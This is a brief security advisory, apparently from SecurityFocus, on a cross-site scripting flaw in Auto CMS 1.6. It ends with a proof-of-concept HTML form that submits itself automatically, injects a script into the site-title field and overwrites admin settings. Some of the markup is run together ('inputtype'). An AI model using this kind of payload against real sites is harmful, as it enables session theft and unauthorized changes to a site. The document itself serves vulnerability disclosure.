source: https://www.securityfocus.com/bid/42764/info
Auto CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Auto CMS 1.6is vulnerable; other versions may be affected.<form action="http://www.example.com/index.php" method="post" name="main" enctype="multipart/form-data"><inputtype="hidden" name="site_name" value="AutoCMS by Roberto Aleman"/><inputtype="hidden" name="site_url" value="index.php"/><inputtype="hidden" name="sitetitle" value='AutoCMS by Roberto Aleman"><script>alert("XSS")</script>' /><inputtype="hidden" name="admin_email" value="admin@example.com"/><inputtype="hidden" name="admin_password" value=""/><inputtype="hidden" name="css_file" value="black.css"/><inputtype="hidden" name="index_name_link" value="Index"/><inputtype="hidden" name="about_name_link" value="About"/><inputtype="hidden" name="about_content" value="put about text here"/><inputtype="hidden" name="ps_name_link" value=""/><inputtype="hidden" name="ps_content" value="put producs and services text here"/><inputtype="hidden" name="news_name_link" value="News"/><inputtype="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/"/><inputtype="hidden" name="contact_name_link" value="Contact"/><inputtype="hidden" name="update" value="update"/></form><script>
document.main.submit();</script>